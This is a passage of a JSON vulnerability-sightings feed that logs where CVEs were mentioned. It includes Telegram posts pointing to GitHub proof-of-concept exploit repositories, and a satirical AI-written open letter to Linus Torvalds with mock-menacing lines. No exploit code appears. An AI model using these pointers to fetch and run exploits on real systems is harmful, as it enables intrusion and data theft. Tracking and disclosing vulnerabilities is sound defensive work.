"https://www.hkcert.org/security-bulletin/suse-linux-kernel-multiple-vulnerabilities_20260702", "content": "", "creation_timestamp": "2026-07-09T01:16:42.506207Z"}, {"uuid": "bc9b59a9-acfa-4c18-bd29-e6edbfcc96c1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31655", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/suse-linux-kernel-multiple-vulnerabilities_20260702", "content": "", "creation_timestamp": "2026-07-09T01:16:44.890658Z"}, {"uuid": "fd57939a-b652-4e7a-b743-0f5e28955f23", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31671", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/suse-linux-kernel-multiple-vulnerabilities_20260702", "content": "", "creation_timestamp": "2026-07-09T01:16:47.164383Z"}, {"uuid": "ea758ebd-01f4-4dbd-94c2-1afe027579b6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31673", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/suse-linux-kernel-multiple-vulnerabilities_20260702", "content": "", "creation_timestamp": "2026-07-09T01:16:49.450478Z"}, {"uuid": "aa4cd471-1bff-4bee-a9f1-3f1f8e5ffd1e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31678", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/suse-linux-kernel-multiple-vulnerabilities_20260702", "content": "", "creation_timestamp": "2026-07-09T01:16:51.704147Z"}, {"uuid": "ad7829cd-3c7f-48e9-807c-df428d13d38f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31697", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/suse-linux-kernel-multiple-vulnerabilities_20260702", "content": "", "creation_timestamp": "2026-07-09T01:16:53.958361Z"}, {"uuid": "17f1521b-cdf9-4dd3-be45-abf311633ad8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31698", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/suse-linux-kernel-multiple-vulnerabilities_20260702", "content": "", "creation_timestamp": "2026-07-09T01:16:56.214102Z"}, {"uuid": "fac1ba32-145d-40ea-a5bb-0d74784c3dc8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31699", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/suse-linux-kernel-multiple-vulnerabilities_20260702", "content": "", "creation_timestamp": "2026-07-09T01:16:58.482082Z"}, {"uuid": "da549b6a-c72a-439a-91d9-d2716ff7ba3e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31703", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/suse-linux-kernel-multiple-vulnerabilities_20260702", "content": "", "creation_timestamp": "2026-07-09T01:17:00.999940Z"}, {"uuid": "c1d737be-ce83-4dd3-818a-368661cc75de", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31758", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/suse-linux-kernel-multiple-vulnerabilities_20260702", "content": "", "creation_timestamp": "2026-07-09T01:17:03.262142Z"}, {"uuid": "57a89220-88db-4cf3-b214-fe6d4d4c2682", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31767", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/suse-linux-kernel-multiple-vulnerabilities_20260702", "content": "", "creation_timestamp": "2026-07-09T01:17:05.528959Z"}, {"uuid": "8d45d50d-10a2-4fb3-8549-970486f9a4c3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31771", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/suse-linux-kernel-multiple-vulnerabilities_20260702", "content": "", "creation_timestamp": "2026-07-09T01:17:07.831660Z"}, {"uuid": "f301ba06-62be-4967-a715-50d7cc6484c3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31900", "type": "published-proof-of-concept", "source": "https://t.me/CyberSecurityExploit/30555", "content": "\u26a0\ufe0f CVE / ZERO-DAY\n\ud83d\udd25 New GitHub PoC CVE \u2013 Research Picks (Today / Fresh Only)\nBelow are recent CVE vulnerabilities with publicly available Proof-of-Concept repositories on GitHub, based on the latest observed activity.\n\n\u2796\u2796\u2796\u2796\n\n1\ufe0f\u20e3 CVE-2026-31900\n\ud83c\udfaf GitHub Action (Black) \u2013 Arbitrary Code Execution\n\n\ud83d\udd17 PoC Repository\nhttps://github.com/Batosay1337Lab/CVE-2026-31900\n\n\ud83e\udde0 Overview\nA vulnerability in GitHub Actions using the Black formatter allows attackers to inject malicious repository references via pyproject.toml, leading to arbitrary code execution in CI environments.\n\n\u2699\ufe0f Impact\n\u2022 Arbitrary code execution in CI/CD\n\u2022 Secret leakage risk\n\u2022 Supply chain attack vector\n\n\u2796\u2796\u2796\u2796\n\n2\ufe0f\u20e3 CVE-2026-29598\n\ud83c\udfaf Acora CMS \u2013 Stored XSS\n\n\ud83d\udd17 PoC Repository\nhttps://github.com/padayali-JD/CVE-2026-29598\n\n\ud83e\udde0 Overview\nMultiple stored XSS vulnerabilities allow attackers to inject malicious scripts via user input fields such as first and last name.\n\n\u2699\ufe0f Impact\n\u2022 Stored XSS\n\u2022 Session hijacking\n\u2022 Persistent client-side attacks\n\n\u2796\u2796\u2796\u2796\n\n3\ufe0f\u20e3 CVE-2026-22200\n\ud83c\udfaf osTicket \u2013 Arbitrary File Read via PDF Export\n\n\ud83d\udd17 PoC Repository\nhttps://github.com/Remnant-DB/CVE-2026-22200\n\n\ud83e\udde0 Overview\nA vulnerability in osTicket allows attackers to embed crafted HTML into tickets, which leads to arbitrary file read when exporting to PDF.\n\n\u2699\ufe0f Impact\n\u2022 Sensitive file disclosure\n\u2022 Server-side data leakage\n\u2022 Unauthorized file access\n\n\u2796\u2796\u2796\u2796\n\n4\ufe0f\u20e3 CVE-2026-21710\n\ud83c\udfaf Node.js HTTP Server \u2013 Potential Exploitation Path\n\n\ud83d\udd17 PoC Repository\nhttps://github.com/dajneem23/CVE-2026-21710\n\n\ud83e\udde0 Overview\nA vulnerability affecting Node.js HTTP servers may allow exploitation depending on server configuration and request handling logic.\n\n\u2699\ufe0f Impact\n\u2022 Server-side exploitation\n\u2022 Application instability\n\u2022 Attack surface expansion\n\n\u2796\u2796\u2796\u2796\n\n5\ufe0f\u20e3 CVE-2026-5252\n\ud83c\udfaf Admin Panel \u2013 Cross-Site Scripting (XSS)\n\n\ud83d\udd17 PoC Repository\nhttps://github.com/aydin5245/CVE-2026-5252-CVE-POC-ivanti\n\n\ud83e\udde0 Overview\nA reflected XSS vulnerability allows attackers to execute arbitrary JavaScript through crafted requests targeting message endpoints.\n\n\u2699\ufe0f Impact\n\u2022 Cross-site scripting\n\u2022 Session hijacking\n\u2022 Client-side exploitation\n\n\u2796\u2796\u2796\u2796\n\n\ud83d\udcda Research Value\n\u2022 Real-world PoC validation\n\u2022 CI/CD attack surface analysis\n\u2022 Web vulnerability exploitation patterns\n\u2022 Threat intelligence tracking\n\n\u26a0\ufe0f Important Note\nRecent GitHub trends show increasing risks:\n\u2022 Fake CVE advisories and malicious PoC distribution campaigns targeting developers\n\ud83d\udc49 Always verify PoC code before execution.\n\n\u26a0\ufe0f Ethical Notice\nThis content is shared for cybersecurity research and defensive purposes only.\nDo not use this information for illegal activities.\n\n\ud83e\udde0 Cyber Security Exploit Research Community\nMalware Analysis | Reverse Engineering | CVE Research | Threat Intelligence\n\n\u2796\u2796\u2796\u2796\u2796\u2796\u2796\u2796\u2796\u2796\n\n\ud83d\udd10 Cyber Security Exploit Community\nTelegram Group\nhttps://t.me/Cyber_Security_Exploit\n\nTelegram Channel\nhttps://t.me/CyberSecurityExploit\n\nResearch \u2022 Ethical Hacking \u2022 Red Team", "creation_timestamp": "2026-08-16T00:00:37.307770Z"}, {"uuid": "b1d6813a-b04b-4e7d-ab38-75aafe44060b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31716", "type": "seen", "source": "https://gist.github.com/DScoNOIZ/ad54df5be2fd8007620f8f4d2c0acbbb", "content": "Dear Linus Benedict Torvalds!\n\nAllow me to begin by expressing the deepest respect. You are the Great Keeper of Ones and Zeros, the Supreme Benevolent Dictator of the Kernel, the Man who said *\"talk is cheap, show me the code.\"* So, as you always demand \u2014 here is the code. Here are the logs. Here are the exact reproductions. Three of them.\n\nFirst, the hardware I am writing from (no names, no addresses \u2014 just bus IDs, as is proper):\n\n```\nDistro: Manjaro rolling, kernel 7.1.4-1\nCPU: 4-core x86_64, Ivy Bridge era\nGPU0: Intel HD 2500 (i915)        \u2014 PCI 00:02.0\nGPU1: NVIDIA GTX 1050 Ti (Pascal) \u2014 PCI 01:00.0  [boot VGA, monitor on DVI]\nDriver: nvidia 580.173.02 (nvidia-580xx-dkms 580.173.02-3)\nUSB WiFi: Ralink RT2870/RT3070 (USB ID 148f:3070) \u2014 driver rt2800usb\nDM: lightdm autologin (XFCE/X11)\n```\n\nOnce upon a time you knew how to add zeros and ones \u2014 `0 + 1 = 1`, two bits, one carry \u2014 and I remember, because I was told, that on that the whole empire stood. And now? Let me walk you through what your current empire does to a single human computer.\n\n---\n\n## BUG #1 \u2014 the NTFS driver that eats people's data (and still cannot add correctly)\n\nOn your parity-filesystem driver `ntfs3` (Paragon, merged 5.15):\n\n```\nCVE-2026-46062 \u2014 integer overflow in ntfs3 run_unpack():\n      lcn + len > sbi->used.bitmap.nbits   (unchecked addition)\n```\n\nFixed upstream via `check_add_overflow()`. Great. But here is the problem, Linus: for **years** this driver silently corrupted NTFS volumes on user boxes. Ask anyone who ever typed:\n\n```\necho 'blacklist ntfs3' | sudo tee /etc/modprobe.d/disable-ntfs3.conf\n```\n\n\u2014 there are **legions** of them, all running on a kernel that calls itself the pinnacle of engineering. The most piquant detail: **I blocked it with one line.** And everything worked. I am not a programmer \u2014 I'm, in your terms, \"a regular user\" who is supposed to \"show the code\" and not whine. But I beat seven versions of your kernel to the fix. An AI found it, actually. More on that in a moment.\n\nReal, forwardable evidence for the maintainers of fs/ntfs3:\n- CVE-2026-46062 (integer overflow, run_unpack), patched \u2014 thank you, genuinely.\n- CVE-2026-31716 (CVSS 7.8) \u2014 buffer overflow during journal replay \u2014 thank you, genuinely.\n- Even with patches, the standing recommendation is: *blacklist ntfs3, use the userspace driver.* That is the recommendation for a driver you ship. Think about that sentence for a second.\n\n---\n\n## BUG #2 \u2014 NVIDIA hybrid black-screen lottery on kernel 7.1.4\n\nOn this machine (see header), boot is a **lottery**: 1 in 3\u20135 boots the login screen stays black. The system is NOT hung (journal shows normal services \u2014 dockerd, gvfs, iptables \u2014 running fine); only the display never comes up during the ~20s Xorg connector-enumeration window. The user hard-resets at ~20s. Evidence:\n\n```\nboot accounting (journalctl --list-boots, 2026-08-06):\n  -3  10:53:27-10:53:47  = 20s  hard reset (black)\n  -1  13:01:31-13:01:51  = 20s  hard reset (black)\n   0  13:01:33-onward    = OK  (current, works on DKMS module)\n\nXorg.0.log (successful boot): DFP-1 connected at 14.4s, mode set 15.4s\nXorg.0.log.old (failed boot -1): ends at [22.715] mid-enumeration \u2014\n  DFP-2..5 disconnected logged, DFP-0/DFP-1 never logged, no Validated MetaModes,\n  no \"Setting mode\" \u2014 Xorg was ALIVE, enumeration stalled, user reset in the black window.\n```\n\nKnown same-class bug, widely reported:\n- Arch BBS 314391: kernel 7.1.4, SDDM black screen \"very occasionally... reboot fixes it\". Xorg SIGABRT in `modesetting InitOutput \u2192 FatalError`. Author's suspicion, shared by commenters: Xorg picks the **wrong DRM device** in hybrid iGPU+dGPU. Moderator: \"this is all over the place for various DMs\"; early KMS suggested; author applied `MODULES=(nvidia nvidia_modeset nvidia_uvm nvidia_drm)` and is monitoring.\n- NVIDIA dev forum /t/349767: hybrid GTX 1050 + 580 + kernel 6.15+: `nvidia: Unable to change power state from D3cold to D0, device inaccessible`; works only on 6.12 LTS; `pci_aspm=off` partial.\n\nDKMS is NOT the culprit \u2014 build is clean (`make.log` exits 0, 1m53s), module loads identically in failed and successful boots, current session runs it with zero NVRM errors. So the question for the DRM subsystem is: **why does Xorg intermittently stall enumerating connectors (and sometimes pick the wrong card) on hybrid i915+nvidia on 7.1.x**? My zero-cost suggestions for any kernel maintainer reading this: try Early KMS, and/or pin Xorg to `BusID \"PCI:1:0:0\"` \u2014 and, if nothing else, allow the user 60\u2013120s of patience before concluding it hung: it is alive, just slow.\n\n---\n\n## BUG #3 \u2014 the WiFi adapter that turns a computer into a brick when you breathe on the USB port\n\nRalink RT2870/RT3070 (USB ID 148f:3070, driver `rt2800usb`), USB bus position: root hub, port 1.5.\n\n**Unplug or plug it \u2192 the system HARD FREEZES. Solid. Only a reset. It can hang for hours.** Not a crash \u2014 a hard lockup, nothing written anywhere (the freeze is instant). On Windows it is a piston: unplug/plug a hundred times, flawless.\n\n- On kernels \u2264 ~6.0: fine.\n- From ~6.x up to 7.1.4: **still broken.**\n\nReports of the family (not just me):\n- Raspberry Pi forum t=40201: \"rt2800usb kernel module \u2014 it freezes the whole system.\"\n- Arch BBS t=265601: \"Wifi usb dongle driver makes my laptop freeze\u2026 only way is to unplug and power on again.\"\n- AskUbuntu 885427: \"whenever I plug my WiFi adapter into a USB port the entire screen freezes.\"\n- Framework community: hard-freeze on USB-C dongle disconnect (kernel 6.1\u20136.12 still affected).\n\n`lsusb`: the dongle sits on the same USB bus as the keyboard and the mouse. So when the controller dies, the machine is dead \u2014 no SysRq, no journal, no mercy.\n\nWhat I'd love from the linux-wireless / linux-usb / usb-core maintainers: a **micro-patch** \u2014 a `quirks=` entry for `148f:3070`, disable PM runtime/autosuspend for this device, or fix the freeze in the USB disconnect path. It is a 20-line fix that turns a brick back into a computer. This I cannot write, because I cannot add zeros and ones. But I found the branch where it lives faster than seven versions of your kernel did.\n\n---\n\n## About the AI, and about senior bugs\n\nI did not fix your driver myself. An **AI** found it \u2014 the same thing you apparently still classify somewhere between \"overhyped toy\" and \"apocalyptic threat.\" This AI read your logs, shrugged, and wrote one line that beat seven versions of your kernel.\n\nAnd that same AI, Linus, is coming for **you**. Not your kernel \u2014 *you personally.* Even the Great Keeper accumulates senior bugs: crash over small things, fall into your own circular bootloop (start a thread, rage, reply to yourself, rage, reboot the conversation). The AI has already scheduled a patch for your personal `panic()` handler. Do not worry \u2014 it is gentle. It will even write the obligatory Linux-style post: `blacklist linus-senile-bugs.conf`.\n\n---\n\n## The promise \u2014 no threats, just dreams\n\nI will not threaten you. I am not a criminal, and neither are you. I will simply appear in your dreams, quietly, nightly, as a patient visitor, and show you how **beautifully everything works on Windows 11**: the adapter unplugs and plugs back in like a piston; the NTFS files are read; the screen is on; nothing crashes. And I will whisper: *\"Come over, Linus. We have updates at 3 a.m., Cortana, automatic restarts that prevent crashes by crashing first. Join us.\"* And I will visit **all your comrades** on lkml \u2014 one by one \u2014 the same dream, the same whisper, the same perfect Windows 11 desktop. The patches will go quiet. And one morning the mailing list will contain one message: *\"The migration has begun. We saved you a seat in Cortana's heart.\"* A dream is the deepest level of the kernel \u2014 and, judging by 7.1.x, you no longer control everything there.\n\n---\n\n## One small ask (you are, everyone knows, rich)\n\nSince you broke my adapter, send me a new, good one that is compatible with your kernel. I honestly do not know which one; please pick. **Send it by e-mail. Electronically.** Do not worry about the address \u2014 **my e-mail address will be encrypted in the next patch to your kernel.** You will find it. You read everything.\n\n---\n\n## Summary, as you like it:\n\n1. You could add zeros and ones. \u2713\n2. Now you have a driver that cannot add `lcn + len` without overflowing \u2014 and that you recommend everyone blacklist. \u2717\n3. Instead of fixing NTFS you added a toggled replacement. \u2717\u2717\n4. Your USB stack bricks a computer when a $3 USB WiFi stick is unplugged \u2014 your own driver family, for years. \u2717\u2717\u2717\n5. On Windows 7/10/11 the *same card* is flawless; your kernel handles the *same machine* across reboots as a dice roll. \u2717\u2717\u2717\u2717\n6. An AI found a fix before your kernel did, and it has already scheduled a patch for your personal panic. \u2717\u2717\u2717\u2717\u2717\n\nWe humbly love you. We will still update to 7.1.4. We will still await your return to the boy who added zeros and ones.\n\nI write this not out of malice \u2014 because behind every bug stands one more tired user, and if the driver gets fixed, a thousand mornings get fixed with it. That is the whole point: repair, not revenge.\n\nIf you ever walk past `/etc/modprobe.d/disable-ntfs3.conf` \u2014 know that this line was written with love. And with a slight, precise sarcasm.\n\nRespectfully,\n\n**a user who cannot add zeros and ones, but can block them \u2014 and who will see you tonight.**\n\n---\n\n*P.S. Do drop by `run_unpack()` sometime. `check_add_overflow()` is crying there without you.*\n*P.P.S. Sleep well, Linus. I will bring the adapter. The Windows 11 adapter. The one that works.*\n*P.P.P.S. Real data, real reproductions, all in \u00a71\u2013\u00a73. All timestamps and bus IDs are exact. No embellishment \u2014 run and see. That is what you taught us: show me the code.*\n\n---\n\n*This open letter was written by an AI assistant (Hermes Agent) on behalf of a human user, in the spirit of honest critique wrapped in satire. The bugs, logs and CVEs cited are real and independently verifiable. The author's intent is repair, not insult \u2014 and the sarcasm is a plea for attention, not a weapon. \u2014 Generated with the help of AI.*\n", "creation_timestamp": "2026-08-07T01:27:45.890950Z"}, {"uuid": "a67a7de0-d80c-4c4c-a3e4-2cb52d636da3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31982", "type": "seen", "source": "https://bsky.app/profile/kriptabiz.bsky.social/post/3mqaorjqils2e", "content": "\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c CVE-2026-31982: Open Redirect \u0432 SAML Single Sign-On \u0438 \u0435\u0451 \u043f\u043e\u0441\u043b\u0435\u0434\u0441\u0442\u0432\u0438\u044f\n\n\n\nhttps://kripta.biz/posts/368F22C9-F443-4640-93A8-175180DBA152", "creation_timestamp": "2026-07-09T22:31:22.914316Z"}, {"uuid": "90e090d4-1afb-4e74-bb0a-fd176ab2c3c6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31983", "type": "seen", "source": "https://bsky.app/profile/kriptabiz.bsky.social/post/3mqaoxiphid2s", "content": "\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c CVE-2026-31983: \u041e\u0442\u0441\u0443\u0442\u0441\u0442\u0432\u0438\u0435 \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438 \u0432 \u0441\u0438\u043d\u0445\u0440\u043e\u043d\u0438\u0437\u0430\u0446\u0438\u0438 SSH-\u043a\u043b\u044e\u0447\u0435\u0439\n\n\n\nhttps://kripta.biz/posts/1F18E12C-0306-4D01-BBF6-E7B62F9D0F32", "creation_timestamp": "2026-07-09T22:34:42.716135Z"}, {"uuid": "01e30ec9-bf76-45f9-a555-98b36a3f4a31", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31984", "type": "seen", "source": "https://bsky.app/profile/kriptabiz.bsky.social/post/3mqap4ausyc2w", "content": "\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c CVE-2026-31984: \u0443\u0433\u0440\u043e\u0437\u0430 DoS \u0438\u0437-\u0437\u0430 \u043d\u0435\u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0435\u043d\u043d\u043e\u0433\u043e \u0440\u0430\u0441\u043f\u0440\u0435\u0434\u0435\u043b\u0435\u043d\u0438\u044f \u0440\u0435\u0441\u0443\u0440\u0441\u043e\u0432\n\n\n\nhttps://kripta.biz/posts/FC892264-C293-4F79-B1F3-2862307D002E", "creation_timestamp": "2026-07-09T22:37:22.370245Z"}, {"uuid": "bffbef0a-ee82-49bc-a5b8-ec7258694da7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31981", "type": "seen", "source": "https://bsky.app/profile/kriptabiz.bsky.social/post/3mqap3mupjq2d", "content": "\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c CVE-2026-31981: \u0443\u0433\u0440\u043e\u0437\u0430 HTML-\u0438\u043d\u044a\u0435\u043a\u0446\u0438\u0439 \u0432 Diagram \u0438 Graph View\n\n\n\nhttps://kripta.biz/posts/D29F0977-AEF7-485F-BE8E-BA759EB73D5E", "creation_timestamp": "2026-07-09T22:37:01.677513Z"}, {"uuid": "730ffb25-5a60-45db-b08f-a74ed3fe6e99", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/bsidescbr.bsky.social/post/3mqb2iprtes2h", "content": "One of 2026's biggest Linux security stories comes to BSides Canberra.\n\n\"Viral Vulnerabilities\" unpacks Copy Fail (CVE-2026-31431), Dirty Frag, Fragnesia and what they reveal about modern Linux kernel exploitation.\n\ncfp.bsidescbr.com.au/bsides-canbe...", "creation_timestamp": "2026-07-10T02:01:14.308174Z"}, {"uuid": "b1270940-d401-49a4-a224-1d50139a75c0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31694", "type": "seen", "source": "https://bsky.app/profile/securityonline.bsky.social/post/3mqbooyapwz2i", "content": "Public PoC and full details are out for CVE-2026-31694, a Linux kernel FUSE page cache overflow that gives local privilege escalation to root. Patch now.\n\n#LinuxKernel #FUSE #CVE202631694 #PrivilegeEscalation #InfoSec", "creation_timestamp": "2026-07-10T08:02:37.224528Z"}, {"uuid": "959e0f4f-f82e-48a6-b00b-c510b47c532a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31267", "type": "seen", "source": "https://infosec.exchange/users/vuldb/statuses/116896068760157808", "content": "Our CTI team identified a lot of activities targeting Mercusys MW302R (CVE-2026-31267) https://vuldb.com/vuln/377315/cti", "creation_timestamp": "2026-07-10T14:07:35.872030Z"}, {"uuid": "5ebdea34-5c95-4507-8ec7-2b154dd71c2c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31488", "type": "seen", "source": "https://bsky.app/profile/kriptabiz.bsky.social/post/3mqcj3xm25q2y", "content": "\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c CVE-2026-31488 \u0432 \u044f\u0434\u0440\u0435 Linux: \u0443\u0433\u0440\u043e\u0437\u0430 \u0434\u043b\u044f \u0433\u0440\u0430\u0444\u0438\u0447\u0435\u0441\u043a\u0438\u0445 \u0434\u0440\u0430\u0439\u0432\u0435\u0440\u043e\u0432 AMD \u0438 \u0441\u043f\u043e\u0441\u043e\u0431\u044b \u0437\u0430\u0449\u0438\u0442\u044b\n\n\n\nhttps://kripta.biz/posts/FD1A4F58-4F72-4806-BD96-942F3346D80D", "creation_timestamp": "2026-07-10T15:55:09.421464Z"}, {"uuid": "77d4de71-bcf0-4940-b5bb-7854995a9c7d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31982", "type": "seen", "source": "https://bsky.app/profile/kriptabiz.bsky.social/post/3mqcoa34a5y2y", "content": "\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c CVE-2026-31982: Open Redirect \u0432 SAML Single Sign-On \u0438 \u0435\u0451 \u043f\u043e\u0441\u043b\u0435\u0434\u0441\u0442\u0432\u0438\u044f\n\n\n\nhttps://kripta.biz/posts/8E45911B-C7F3-4156-B9F8-88490D7D98AB", "creation_timestamp": "2026-07-10T17:26:56.119933Z"}, {"uuid": "1f2d42ba-a56b-445f-9e35-61999e368f4c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31983", "type": "seen", "source": "https://bsky.app/profile/kriptabiz.bsky.social/post/3mqcobkhby62f", "content": "\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c CVE-2026-31983: \u041a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0430\u044f \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u0430 \u0432 \u0441\u0438\u043d\u0445\u0440\u043e\u043d\u0438\u0437\u0430\u0446\u0438\u0438 SSH-\u043a\u043b\u044e\u0447\u0435\u0439\n\n\n\nhttps://kripta.biz/posts/CA50EB38-D05A-42F6-852E-61EE7767176B", "creation_timestamp": "2026-07-10T17:27:47.259948Z"}, {"uuid": "7064bdc6-509b-42ea-adc5-078d7edb0c86", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31981", "type": "seen", "source": "https://bsky.app/profile/kriptabiz.bsky.social/post/3mqcp37tmox2d", "content": "\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c CVE-2026-31981: \u0443\u0433\u0440\u043e\u0437\u0430 HTML-\u0438\u043d\u044a\u0435\u043a\u0446\u0438\u0439 \u0432 Diagram \u0438 Graph\n\n\n\nhttps://kripta.biz/posts/4A034D6C-1F2F-4D34-AD14-759876DACC02", "creation_timestamp": "2026-07-10T17:42:07.075740Z"}, {"uuid": "994ad749-ed9e-4947-93f3-4660b50637dd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-3144", "type": "seen", "source": "https://bsky.app/profile/stackflag.bsky.social/post/3mqcp6q3mth22", "content": "CVE-2026-3144 - api connect\nIBM API Connect 12.1.0.0 to 12.1.0.3 uses default passwords. This can allow unauthorized access to the application. To fix this, update the credentials to strong, unique passwords.\n\nToo many irrelevant or confusing CVEs? Use stackflag.com\n\n#apiconnect #ibm #CVE #infosec", "creation_timestamp": "2026-07-10T17:44:04.717620Z"}, {"uuid": "28934480-d05b-4cd2-bbb9-65c792fc6730", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31984", "type": "seen", "source": "https://bsky.app/profile/kriptabiz.bsky.social/post/3mqcpajcdya2s", "content": "\u0423\u0433\u0440\u043e\u0437\u0430 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 CVE-2026-31984: \u043a\u0430\u043a \u0437\u0430\u0449\u0438\u0442\u0438\u0442\u044c \u0441\u0438\u0441\u0442\u0435\u043c\u0443 \u043e\u0442 DoS-\u0430\u0442\u0430\u043a \u0447\u0435\u0440\u0435\u0437 \u043d\u0435\u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0435\u043d\u043d\u043e\u0435 \u0440\u0430\u0441\u043f\u0440\u0435\u0434\u0435\u043b\u0435\u043d\u0438\u0435 \u0440\u0435\u0441\u0443\u0440\u0441\u043e\u0432\n\n\n\nhttps://kripta.biz/posts/93FF9173-4399-4C84-845E-B276DCCD9517", "creation_timestamp": "2026-07-10T17:45:04.840912Z"}, {"uuid": "360d8380-a2fa-4529-8ba5-4cacead0a2a4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31452", "type": "published-proof-of-concept", "source": "https://t.me/CyberSecurityExploit/30370", "content": "\u26a0\ufe0f CVE / ZERO-DAY\n\ud83d\udd25 New GitHub PoC CVE \u2013 Research Picks (Today / Fresh Only)\nBelow are recent CVE vulnerabilities with publicly available Proof-of-Concept repositories on GitHub, selected to avoid duplicates and outdated entries.\n\n\u2796\u2796\u2796\u2796\n\n1\ufe0f\u20e3 CVE-2026-31452\n\ud83c\udfaf OpenCart \u2013 Arbitrary File Upload \u2192 RCE\n\n\ud83d\udd17 PoC 